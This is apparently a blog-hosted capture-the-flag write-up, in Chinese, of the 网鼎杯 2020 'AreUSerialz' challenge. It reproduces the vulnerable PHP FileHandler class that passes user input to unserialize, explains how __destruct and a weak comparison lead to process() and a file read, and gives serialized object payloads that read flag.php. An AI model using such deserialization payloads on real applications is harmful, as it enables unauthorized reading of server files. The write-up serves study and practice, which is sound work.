当前位置: 首页 > news >正文

[网鼎杯 2020 青龙组]AreUSerialz1

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

<?
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
            $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

根据构造函数is_valid($s) 可知,

$s的值ASCII码范围得在32<=$s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    public $op=2;
    public $filename="flag.php";
}
 O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • vue后台管理系统 vue3+vite+pinia+elementui+axios下
  • 接口测试框架中测试用例管理模块的优化与思考!
  • 理解ThreadLocal 变量副本,为什么不同线程的 ThreadLocalMap互不干扰
  • LSTM与GNN强强结合!全新架构带来10倍推理速度提升
  • centos7 中安装 mysql 8.x以及对数据库的管理(数据库、表的增删改查、插入删除数据)
  • Electron工作流程(2)——进程间通信
  • JavaScript青少年简明教程:面向对象编程入门
  • WEB服务器的详解与部署
  • 数学建模评价类模型—层次分析法(无数据情况下)
  • 解决VideoReader出现Thread worker: Error sending packet报错
  • Harmony-(2)-ArkTs
  • 精通Python爬虫中的XPath:从安装到实战演示
  • spring security和核心流程
  • KVM+GFS分布式存储系统构建KVM高可用
  • 【Python-MySQL】Python 代码用pool管理MySQL连接,并实现增删改查
  • Akka系列(七):Actor持久化之Akka persistence
  • express + mock 让前后台并行开发
  • isset在php5.6-和php7.0+的一些差异
  • Java 11 发布计划来了,已确定 3个 新特性!!
  • Java 多线程编程之:notify 和 wait 用法
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • MySQL数据库运维之数据恢复
  • Python_OOP
  • Python十分钟制作属于你自己的个性logo
  • Redux系列x:源码分析
  • spring学习第二天
  • vuex 笔记整理
  • Web Storage相关
  • 初识 webpack
  • 关于for循环的简单归纳
  • 基于Mobx的多页面小程序的全局共享状态管理实践
  • 前端js -- this指向总结。
  • 前端知识点整理(待续)
  • 区块链将重新定义世界
  • 使用common-codec进行md5加密
  • 微信端页面使用-webkit-box和绝对定位时,元素上移的问题
  • 用Visual Studio开发以太坊智能合约
  • 责任链模式的两种实现
  • 阿里云重庆大学大数据训练营落地分享
  • 关于Android全面屏虚拟导航栏的适配总结
  • 专访Pony.ai 楼天城:自动驾驶已经走过了“从0到1”,“规模”是行业的分水岭| 自动驾驶这十年 ...
  • ​如何防止网络攻击?
  • #07【面试问题整理】嵌入式软件工程师
  • #HarmonyOS:软件安装window和mac预览Hello World
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (zt)基于Facebook和Flash平台的应用架构解析
  • (备份) esp32 GPIO
  • (三)mysql_MYSQL(三)
  • (续)使用Django搭建一个完整的项目(Centos7+Nginx)
  • (转)Google的Objective-C编码规范
  • (转)ORM
  • (转)使用VMware vSphere标准交换机设置网络连接
  • (自适应手机端)响应式新闻博客知识类pbootcms网站模板 自媒体运营博客网站源码下载
  • ***php进行支付宝开发中return_url和notify_url的区别分析
  • .Net Core webapi RestFul 统一接口数据返回格式